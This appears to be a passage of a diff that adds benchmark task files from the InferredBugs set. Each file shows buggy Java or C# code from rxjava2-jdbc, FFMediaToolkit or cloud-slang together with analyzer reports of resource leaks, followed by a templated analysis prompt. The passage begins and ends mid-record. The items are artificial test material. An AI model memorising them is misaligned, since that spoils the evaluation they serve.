+                .getAs(Long.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testCompleteCompletes() {
+        Database db = db(1);
+        db //
+                .update("update person set score=-3 where name='FRED'") //
+                .complete() //
+                .timeout(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .blockingAwait();
+
+        int score = db.select("select score from person where name='FRED'") //
+                .getAs(Integer.class) //
+                .timeout(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .blockingFirst();
+        assertEquals(-3, score);
+    }
+
+    @Test
+    public void testComplete() throws InterruptedException {
+        Database db = db(1);
+        Completable a = db //
+                .update("update person set score=-3 where name='FRED'") //
+                .complete();
+        db.update("update person set score=-4 where score = -3") //
+                .dependsOn(a) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testCountsOnlyInTransaction() {
+        db().update("update person set score = -3") //
+                .transacted() //
+                .countsOnly() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testCountsInTransaction() {
+        db().update("update person set score = -3") //
+                .transacted() //
+                .counts() //
+                .doOnNext(System.out::println) //
+                .toList() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(list -> list.get(0).isValue() && list.get(0).value() == 3
+                        && list.get(1).isComplete() && list.size() == 2) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testTx() throws InterruptedException {
+        Database db = db(3);
+        Single<Tx<?>> transaction = db //
+                .update("update person set score=-3 where name='FRED'") //
+                .transaction();
+
+        transaction //
+                .doOnDispose(() -> System.out.println("disposing")) //
+                .doOnSuccess(System.out::println) //
+                .flatMapPublisher(tx -> {
+                    System.out.println("flatmapping");
+                    return tx //
+                            .update("update person set score = -4 where score = -3") //
+                            .countsOnly() //
+                            .doOnSubscribe(s -> System.out.println("subscribed")) //
+                            .doOnNext(num -> System.out.println("num=" + num));
+                }) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testTxAfterSelect() {
+        Database db = db(3);
+        Single<Tx<Integer>> transaction = db //
+                .select("select score from person where name='FRED'") //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .firstOrError();
+
+        transaction //
+                .doOnDispose(() -> System.out.println("disposing")) //
+                .doOnSuccess(System.out::println) //
+                .flatMapPublisher(tx -> {
+                    System.out.println("flatmapping");
+                    return tx //
+                            .update("update person set score = -4 where score = ?") //
+                            .parameter(tx.value()) //
+                            .countsOnly() //
+                            .doOnSubscribe(s -> System.out.println("subscribed")) //
+                            .doOnNext(num -> System.out.println("num=" + num));
+                }) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSingleFlatMap() {
+        Single.just(1).flatMapPublisher(n -> Flowable.just(1)).test(1).assertValue(1)
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutomappedInstanceHasMeaningfulToStringMethod() {
+        info();
+        String s = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.toString()) //
+                .blockingSingle();
+        assertEquals("Person2[name=FRED, score=21]", s);
+    }
+
+    @Test
+    public void testAutomappedEquals() {
+        boolean b = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.equals(x)) //
+                .blockingSingle();
+        assertTrue(b);
+    }
+
+    @Test
+    public void testAutomappedDoesNotEqualNull() {
+        boolean b = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.equals(null)) //
+                .blockingSingle();
+        assertFalse(b);
+    }
+
+    @Test
+    public void testAutomappedDoesNotEqual() {
+        boolean b = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.equals(new Object())) //
+                .blockingSingle();
+        assertFalse(b);
+    }
+
+    @Test
+    public void testAutomappedHashCode() {
+        Person2 p = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .blockingSingle();
+        assertTrue(p.hashCode() != 0);
+    }
+
+    @Test
+    public void testAutomappedWithParametersThatProvokesMoreThanOneQuery() {
+        Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED", "FRED") //
+                .autoMap(Person2.class) //
+                .doOnNext(System.out::println) //
+                .test() //
+                .awaitDone(2000, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValueCount(2) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutomappedObjectsEqualsAndHashCodeIsDistinctOnValues() {
+        Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED", "FRED") //
+                .autoMap(Person2.class) //
+                .distinct() //
+                .doOnNext(System.out::println) //
+                .test() //
+                .awaitDone(2000, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValueCount(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutomappedObjectsEqualsDifferentiatesDifferentInterfacesWithSameMethodNamesAndValues() {
+        PersonDistinct1 p1 = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonDistinct1.class) //
+                .blockingFirst();
+
+        PersonDistinct2 p2 = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonDistinct2.class) //
+                .blockingFirst();
+
+        assertNotEquals(p1, p2);
+    }
+
+    @Test
+    public void testAutomappedObjectsWhenDefaultMethodInvoked() {
+        PersonWithDefaultMethod p = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonWithDefaultMethod.class) //
+                .blockingFirst();
+        assertEquals("fred", p.nameLower());
+    }
+
+    // @Test
+    // public void testDefaultMethod() throws NoSuchMethodException,
+    // IllegalAccessException {
+    // MethodHandles.lookup().findSpecial(PersonWithDefaultMethod.class,
+    // "nameLower",
+    // MethodType.methodType(String.class, new Class[] {}),
+    // PersonWithDefaultMethod.class)
+    //// .bindTo(x);
+    // }
+
+    @Test(expected = AutomappedInterfaceInaccessibleException.class)
+    public void testAutomappedObjectsWhenDefaultMethodInvokedAndIsNonPublicThrows() {
+        PersonWithDefaultMethodNonPublic p = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonWithDefaultMethodNonPublic.class) //
+                .blockingFirst();
+        p.nameLower();
+    }
+
+    @Test
+    public void testBlockingDatabase() {
+        Database db = blocking();
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .getAs(Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues(21, 34) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testBlockingDatabaseTransacted() {
+        Database db = blocking();
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .map(x -> x.value()) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues(21, 34) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testBlockingDatabaseTransactedNested() {
+        Database db = blocking();
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .flatMap(tx -> tx.select("select name from person where score=?") //
+                        .parameter(tx.value()) //
+                        .valuesOnly() //
+                        .getAs(String.class))
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues("FRED", "JOSEPH") //
+                .assertComplete();
+    }
+
+    public interface PersonWithDefaultMethod {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+        public default String nameLower() {
+            return name().toLowerCase();
+        }
+    }
+
+    interface PersonWithDefaultMethodNonPublic {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+        default String nameLower() {
+            return name().toLowerCase();
+        }
+    }
+
+    interface PersonDistinct1 {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+    }
+
+    interface PersonDistinct2 {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+    }
+
+    interface Score {
+        @Column
+        int score();
+    }
+
+    interface Person {
+        @Column
+        String name();
+    }
+
+    interface Person2 {
+        @Column
+        String name();
+
+        @Column
+        int score();
+    }
+
+    interface Person3 {
+        @Column("name")
+        String fullName();
+
+        @Column("score")
+        int examScore();
+    }
+
+    interface Person4 {
+        @Column("namez")
+        String fullName();
+
+        @Column("score")
+        int examScore();
+    }
+
+    interface Person5 {
+        @Index(1)
+        String fullName();
+
+        @Index(2)
+        int examScore();
+    }
+
+    interface Person6 {
+        @Index(1)
+        String fullName();
+
+        @Index(3)
+        int examScore();
+    }
+
+    interface Person7 {
+        @Index(1)
+        String fullName();
+
+        @Index(0)
+        int examScore();
+    }
+
+    interface Person8 {
+        @Column
+        int name();
+    }
+
+    interface Person9 {
+        @Column
+        String name();
+
+        @Index(2)
+        int score();
+    }
+
+    interface PersonNoAnnotation {
+        String name();
+    }
+
+    @Query("select name, score from person order by name")
+    interface Person10 {
+
+        @Column
+        String name();
+
+        @Column
+        int score();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.davidmoten.rx.jdbc.Database` acquired by call to `db()` at line 521 is not released after line 523.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DatabaseTest.testSelectUsingNameDoesNotExist()
+
+### Procedure Id:
+org.davidmoten.rx.jdbc.DatabaseTest.testSelectUsingNameDoesNotExist():void.08adeab365242ac859f6671489b41444
+
+### File:
+src/test/java/org/davidmoten/rx/jdbc/DatabaseTest.java
+
+### Key:
+DatabaseTest.java|testSelectUsingNameDoesNotExist|RESOURCE_LEAK
+
+### Node Key:
+d44cacfe3288956b3d4f31dea6994cfe
+
+### Hash:
+f4bd16f35a76529b8687c2dfdb51c4c1
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1089/instruction.md b/inferredbugs-1089/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6715741eeb023e3d938ace9791554a4c90e3b5e3
--- /dev/null
+++ b/inferredbugs-1089/instruction.md
@@ -0,0 +1,267 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** FFMediaToolkit
+**Bug ID:** 10
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+namespace FFMediaToolkit.Decoding.Internal
+{
+    using System;
+    using FFMediaToolkit.Common;
+    using FFMediaToolkit.Common.Internal;
+    using FFMediaToolkit.Helpers;
+    using FFmpeg.AutoGen;
+
+    /// <summary>
+    /// Represents the multimedia file container.
+    /// </summary>
+    internal unsafe class InputContainer : Wrapper<AVFormatContext>
+    {
+        private InputContainer(AVFormatContext* formatContext)
+            : base(formatContext)
+        {
+        }
+
+        /// <summary>
+        /// Gets the video stream.
+        /// </summary>
+        public InputStream<VideoFrame> Video { get; private set; }
+
+        /// <summary>
+        /// Gets a value indicating whether the reader is at end of the file.
+        /// </summary>
+        public bool IsAtEndOfFile { get; private set; }
+
+        /// <summary>
+        /// Opens a media container and stream codecs from given path.
+        /// </summary>
+        /// <param name="path">A path to the multimedia file.</param>
+        /// <param name="options">The media settings.</param>
+        /// <returns>A new instance of the <see cref="InputContainer"/> class.</returns>
+        public static InputContainer LoadFile(string path, MediaOptions options)
+        {
+            MediaToolkit.LoadFFmpeg();
+
+            var context = ffmpeg.avformat_alloc_context();
+            options.DemuxerOptions.ApplyFlags(context);
+            var dict = new FFDictionary(options.DemuxerOptions.PrivateOptions);
+            var ptr = dict.Pointer;
+
+            ffmpeg.avformat_open_input(&context, path, null, &ptr)
+                .ThrowIfError("An error ocurred while opening the file");
+
+            ffmpeg.avformat_find_stream_info(context, null)
+                .ThrowIfError("Cannot find stream info");
+
+            dict.Update(ptr);
+
+            var container = new InputContainer(context);
+            container.OpenStreams(options);
+            return container;
+        }
+
+        /// <summary>
+        /// Reads the next packet from this file and sends it to the packet queue.
+        /// </summary>
+        /// <returns>Type of the readed packet.</returns>
+        public MediaType ReadPacket()
+        {
+            var packet = MediaPacket.AllocateEmpty(0);
+            var result = ffmpeg.av_read_frame(Pointer, packet.Pointer);
+
+            if (result == ffmpeg.AVERROR_EOF)
+            {
+                IsAtEndOfFile = true;
+                return MediaType.None;
+            }
+            else
+            {
+                result.ThrowIfError("Cannot read next packet from the file");
+            }
+
+            IsAtEndOfFile = false;
+            return EnqueuePacket(packet);
+        }
+
+        /// <summary>
+        /// Seeks stream to the specified video frame.
+        /// </summary>
+        /// <param name="frameNumber">The target video frame number.</param>
+        public void SeekFile(int frameNumber) => SeekFile(frameNumber.ToTimeSpan(Video.Info.FrameRate).ToTimestamp(Video.Info.TimeBase));
+
+        /// <summary>
+        /// Seeks stream to the specified target time.
+        /// </summary>
+        /// <param name="targetTime">The absolute target time.</param>
+        public void SeekFile(TimeSpan targetTime) => SeekFile(targetTime.ToTimestamp(Video.Info.TimeBase));
+
+        /// <summary>
+        /// Seeks stream to the specified target timestamp.
+        /// </summary>
+        /// <param name="targetTs">The target timestamp in the default stream time base.</param>
+        public void SeekFile(long targetTs)
+        {
+            ffmpeg.av_seek_frame(Pointer, Video.Info.Index, targetTs, ffmpeg.AVSEEK_FLAG_BACKWARD).ThrowIfError($"Seek to {targetTs} failed.");
+            IsAtEndOfFile = false;
+
+            Video.PacketQueue.Clear();
+            Video.FlushBuffers();
+            AddPacket(MediaType.Video);
+            AdjustSeekPackets(Video, targetTs, VideoFrame.CreateEmpty());
+        }
+
+        /// <summary>
+        /// Seeks stream by skipping next packets in the file. Useful to seek few frames forward.
+        /// </summary>
+        /// <param name="frameNumber">The target video frame number.</param>
+        public void SeekForward(int frameNumber) => SeekForward(frameNumber.ToTimeSpan(Video.Info.FrameRate).ToTimestamp(Video.Info.TimeBase));
+
+        /// <summary>
+        /// Seeks stream by skipping next packets in the file. Useful to seek few frames forward.
+        /// </summary>
+        /// <param name="targetTime">The absolute target time.</param>
+        public void SeekForward(TimeSpan targetTime) => SeekForward(targetTime.ToTimestamp(Video.Info.TimeBase));
+
+        /// <summary>
+        /// Seeks stream by skipping next packets in the file. Useful to seek few frames forward.
+        /// </summary>
+        /// <param name="targetTs">The target timestamp in the default stream time base.</param>
+        public void SeekForward(long targetTs) => AdjustSeekPackets(Video, targetTs, VideoFrame.CreateEmpty());
+
+        /// <inheritdoc/>
+        protected override void OnDisposing()
+        {
+            Video?.Dispose();
+
+            var ptr = Pointer;
+            ffmpeg.avformat_close_input(&ptr);
+        }
+
+        private static int? FindBestStream(AVFormatContext* container, AVMediaType type, int relStream = -1)
+        {
+            AVCodec* codec = null;
+            var id = ffmpeg.av_find_best_stream(container, type, -1, relStream, &codec, 0);
+            return id >= 0 ? (int?)id : null;
+        }
+
+        private void AdjustSeekPackets<T>(InputStream<T> stream, long targetTs, T emptyFrame)
+            where T : MediaFrame
+        {
+            stream.PacketQueue.TryPeek(out var packet);
+
+            while (packet?.Timestamp < targetTs)
+            {
+                stream.Read(emptyFrame);
+                stream.PacketQueue.TryPeek(out packet);
+            }
+        }
+
+        private MediaType EnqueuePacket(MediaPacket packet)
+        {
+            if (Video != null && packet.StreamIndex == Video.Info.Index)
+            {
+                Video.PacketQueue.Enqueue(packet);
+                return MediaType.Video;
+            }
+
+            return MediaType.None;
+        }
+
+        private void OpenStreams(MediaOptions options)
+        {
+            if (options.StreamsToLoad != MediaMode.Audio)
+            {
+                var index = FindBestStream(Pointer, AVMediaType.AVMEDIA_TYPE_VIDEO);
+                if (index != null)
+                {
+                    Video = InputStreamFactory.OpenVideo(this, index.Value, options);
+                    Video.PacketQueue.Dequeued += OnPacketDequeued;
+                    AddPacket(MediaType.Video);
+                }
+            }
+        }
+
+        private void OnPacketDequeued(object sender, MediaPacket packet)
+        {
+            var stream = packet.StreamIndex == Video?.Info.Index ? Video : null;
+            if (stream?.PacketQueue.Count > 5)
+            {
+                return;
+            }
+
+            AddPacket(stream?.Type ?? MediaType.None);
+        }
+
+        private void AddPacket(MediaType type)
+        {
+            if (type == MediaType.None)
+            {
+                return;
+            }
+
+            var packetAdded = false;
+            while (!packetAdded)
+            {
+                if (IsAtEndOfFile)
+                {
+                    return;
+                }
+
+                packetAdded = ReadPacket() == type;
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from FFMediaToolkit.Common.Internal.VideoFrame FFMediaToolkit.Common.Internal.VideoFrame::CreateEmpty() at Line 104) of type FFMediaToolkit.Common.Internal.VideoFrame in method "Void InputContainer.SeekFile(Int64)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void InputContainer.SeekFile(Int64)
+
+### File:
+FFMediaToolkit/src/Decoding/Internal/InputContainer.cs
+
+### Key:
+InputContainer.cs|SeekFile|DOTNET_RESOURCE_LEAK
+
+### Hash:
+3a2fcb4f4c7d18b2644356836fe31070
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10952/instruction.md b/inferredbugs-10952/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..79fd55fc5b8a13950d8035a89d9ac297be299e74
--- /dev/null
+++ b/inferredbugs-10952/instruction.md
@@ -0,0 +1,235 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rxjava2-jdbc
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.davidmoten.rx.jdbc;
+
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.PreparedStatement;
+import java.sql.SQLException;
+import java.sql.Types;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import org.davidmoten.rx.jdbc.exceptions.SQLRuntimeException;
+import org.davidmoten.rx.jdbc.pool.NonBlockingConnectionPool;
+import org.davidmoten.rx.pool.Pool;
+
+import io.reactivex.Flowable;
+import io.reactivex.functions.Action;
+
+public class Database implements AutoCloseable {
+
+    private final Flowable<Connection> connections;
+
+    private final Action onClose;
+
+    private Database(Flowable<Connection> connections, Action onClose) {
+        this.connections = connections;
+        this.onClose = onClose;
+    }
+
+    public static Database from(Flowable<Connection> connections, Action onClose) {
+        return new Database(connections, onClose);
+    }
+    
+    public static Database from(String url, int maxPoolSize) {
+        return Database.from(new NonBlockingConnectionPool(Util.connectionProvider(url), maxPoolSize, 1000));
+    }
+
+    public static Database from(Pool<Connection> pool) {
+        return new Database(pool.members().cast(Connection.class), () -> pool.close());
+    }
+
+    public static Database test(int maxPoolSize) {
+        return Database.from(new NonBlockingConnectionPool(testConnectionProvider(), maxPoolSize, 1000));
+    }
+
+    static ConnectionProvider testConnectionProvider() {
+        return connectionProvider(nextUrl());
+    }
+
+    public static Database test() {
+        return test(3);
+    }
+
+    private static void createDatabase(Connection c) {
+        try {
+            Sql.statements(Database.class.getResourceAsStream("/database-test.sql")).stream().forEach(x -> {
+                try {
+                    c.prepareStatement(x).execute();
+                } catch (SQLException e) {
+                    throw new SQLRuntimeException(e);
+                }
+            });
+            c.commit();
+        } catch (SQLException e) {
+            throw new SQLRuntimeException(e);
+        }
+    }
+
+    private static ConnectionProvider connectionProvider(String url) {
+        return new ConnectionProvider() {
+
+            private final AtomicBoolean once = new AtomicBoolean(false);
+
+            @Override
+            public Connection get() {
+                try {
+                    Connection c = DriverManager.getConnection(url);
+                    synchronized (this) {
+                        if (once.compareAndSet(false, true)) {
+                            createDatabase(c);
+                        }
+                    }
+                    return c;
+                } catch (SQLException e) {
+                    throw new SQLRuntimeException(e);
+                }
+            }
+
+            @Override
+            public void close() {
+                //
+            }
+        };
+    }
+
+    private static final AtomicInteger testDbNumber = new AtomicInteger();
+
+    private static String nextUrl() {
+        return "jdbc:derby:memory:derby" + testDbNumber.incrementAndGet() + ";create=true";
+    }
+
+    public Flowable<Connection> connections() {
+        return connections;
+    }
+
+    @Override
+    public void close() {
+        try {
+            onClose.run();
+        } catch (Exception e) {
+            throw new SQLRuntimeException(e);
+        }
+    }
+
+    public SelectBuilder select() {
+        //return new SelectBuilder(null, connections());
+        //TODO
+        throw new UnsupportedOperationException();
+    }
+
+    public SelectBuilder select(String sql) {
+        return new SelectBuilder(sql, connections());
+    }
+
+    public UpdateBuilder update(String sql) {
+        return new UpdateBuilder(sql, connections());
+    }
+
+    public TransactedBuilder tx(Tx<?> tx) {
+        TxImpl<?> t = (TxImpl<?>) tx;
+        TransactedConnection c = t.connection().fork();
+        return new TransactedBuilder(c);
+    }
+
+    public static final Object NULL_CLOB = new Object();
+
+    public static final Object NULL_NUMBER = new Object();
+
+    public static Object toSentinelIfNull(String s) {
+        if (s == null)
+            return NULL_CLOB;
+        else
+            return s;
+    }
+
+    /**
+     * Sentinel object used to indicate in parameters of a query that rather
+     * than calling {@link PreparedStatement#setObject(int, Object)} with a null
+     * we call {@link PreparedStatement#setNull(int, int)} with
+     * {@link Types#CLOB}. This is required by many databases for setting CLOB
+     * and BLOB fields to null.
+     */
+    public static final Object NULL_BLOB = new Object();
+
+    public static Object toSentinelIfNull(byte[] bytes) {
+        if (bytes == null)
+            return NULL_BLOB;
+        else
+            return bytes;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.davidmoten.rx.jdbc.pool.NonBlockingConnectionPool` acquired by call to `new()` at line 42 is not released after line 42.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Database Database.test(int)
+
+### Procedure Id:
+org.davidmoten.rx.jdbc.Database.test(int):org.davidmoten.rx.jdbc.Database.910249e069ad61443d59bfe6b0ce7232
+
+### File:
+src/main/java/org/davidmoten/rx/jdbc/Database.java
+
+### Key:
+Database.java|test|RESOURCE_LEAK
+
+### Node Key:
+569c8372be383eb0a781e9e34c92f393
+
+### Hash:
+5d6bae8d94a252a40558ff7bccdbae49
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10999/instruction.md b/inferredbugs-10999/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8eb861c69b9fcca66823fb33304a6de2eadc90e9
--- /dev/null
+++ b/inferredbugs-10999/instruction.md
@@ -0,0 +1,213 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** cloud-slang
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.openscore.lang.compiler.modeller.transformers;
+
+import junit.framework.Assert;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+import org.openscore.lang.entities.ForLoopStatement;
+
+import java.io.Serializable;
+
+public class ForTransformerTest {
+
+    @Rule
+    public ExpectedException exception = ExpectedException.none();
+
+    private ForTransformer transformer = new ForTransformer();
+
+    @Test
+    public void testValidStatement() throws Exception {
+        ForLoopStatement statement = transformer.transform("x in collection");
+        Assert.assertEquals(ForLoopStatement.Type.LIST, statement.getType());
+        Assert.assertEquals("x", statement.getVarName());
+        Assert.assertEquals("collection", statement.getCollectionExpression());
+    }
+
+    @Test
+    public void testValidStatementWithSpaces() throws Exception {
+        ForLoopStatement statement = transformer.transform("x in range(0, 9)");
+        Assert.assertEquals(ForLoopStatement.Type.LIST, statement.getType());
+        Assert.assertEquals("x", statement.getVarName());
+        Assert.assertEquals("range(0, 9)", statement.getCollectionExpression());
+    }
+
+    @Test
+    public void testValidStatementAndTrim() throws Exception {
+        ForLoopStatement statement = transformer.transform(" min   in  collection  ");
+        Assert.assertEquals(ForLoopStatement.Type.LIST, statement.getType());
+        Assert.assertEquals("min", statement.getVarName());
+        Assert.assertEquals("collection", statement.getCollectionExpression());
+    }
+
+    @Test
+    public void testNoVarName() throws Exception {
+        exception.expect(RuntimeException.class);
+        exception.expectMessage("var name");
+        transformer.transform("  in  collection");
+    }
+
+    @Test
+    public void testVarNameContainInvalidChars() throws Exception {
+        exception.expect(RuntimeException.class);
+        exception.expectMessage("var name");
+        exception.expectMessage("invalid");
+        transformer.transform("x a  in  collection");
+    }
+
+    @Test
+    public void testNoCollectionExpression() throws Exception {
+        exception.expect(RuntimeException.class);
+        exception.expectMessage("collection expression");
+        transformer.transform("x in  ");
+    }
+
+    @Test
+    public void testMultipleInsAreTrimmed() throws Exception {
+        ForLoopStatement statement = transformer.transform(" in   in in ");
+        Assert.assertEquals("in", statement.getVarName());
+        Assert.assertEquals("in", statement.getCollectionExpression());
+    }
+
+    @Test
+    public void testEmptyValue() throws Exception {
+        ForLoopStatement statement = transformer.transform("");
+        Assert.assertNull(statement);
+    }
+
+    @Test
+    public void testValidMapStatement() throws Exception {
+        ForLoopStatement statement = transformer.transform("k, v in collection");
+        Assert.assertEquals(ForLoopStatement.Type.MAP, statement.getType());
+        Assert.assertEquals("k v", statement.getVarName());
+        Assert.assertEquals("collection", statement.getCollectionExpression());
+    }
+
+    @Test
+    public void testValidMapStatementSpaceBeforeComma() throws Exception {
+        ForLoopStatement statement = transformer.transform("k ,v in collection");
+        Assert.assertEquals(ForLoopStatement.Type.MAP, statement.getType());
+        Assert.assertEquals("k v", statement.getVarName());
+        Assert.assertEquals("collection", statement.getCollectionExpression());
+    }
+
+    @Test
+    public void testValidMapStatementWithoutSpaceAfterComma() throws Exception {
+        ForLoopStatement statement = transformer.transform("k,v in collection");
+        Assert.assertEquals(ForLoopStatement.Type.MAP, statement.getType());
+        Assert.assertEquals("k v", statement.getVarName());
+        Assert.assertEquals("collection", statement.getCollectionExpression());
+    }
+
+    @Test
+    public void testValidMapStatementWithExpression() throws Exception {
+        ForLoopStatement statement = transformer.transform("k, v in dictionary.items()");
+        Assert.assertEquals(ForLoopStatement.Type.MAP, statement.getType());
+        Assert.assertEquals("k v", statement.getVarName());
+        Assert.assertEquals("dictionary.items()", statement.getCollectionExpression());
+    }
+
+    @Test
+    public void testValidMapStatementAndTrim() throws Exception {
+        ForLoopStatement statement = transformer.transform(" k, v   in  collection  ");
+        Assert.assertEquals(ForLoopStatement.Type.MAP, statement.getType());
+        Assert.assertEquals("k v", statement.getVarName());
+        Assert.assertEquals("collection", statement.getCollectionExpression());
+    }
+
+    @Test
+    public void testValidMapStatementAndTrimMultipleWhitSpaces() throws Exception {
+        ForLoopStatement statement = transformer.transform("   k,    v     in  collection  ");
+        Assert.assertEquals(ForLoopStatement.Type.MAP, statement.getType());
+        Assert.assertEquals("k v", statement.getVarName());
+        Assert.assertEquals("collection", statement.getCollectionExpression());
+    }
+
+    @Test
+    public void testMapVarNameContainInvalidChars() throws Exception {
+        exception.expect(RuntimeException.class);
+        exception.expectMessage("var name");
+        exception.expectMessage("invalid");
+        transformer.transform("(k v m)  in  collection");
+    }
+
+    @Test
+    public void testMapNoCollectionExpression() throws Exception {
+        exception.expect(RuntimeException.class);
+        exception.expectMessage("collection expression");
+        transformer.transform("k, v in  ");
+    }
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
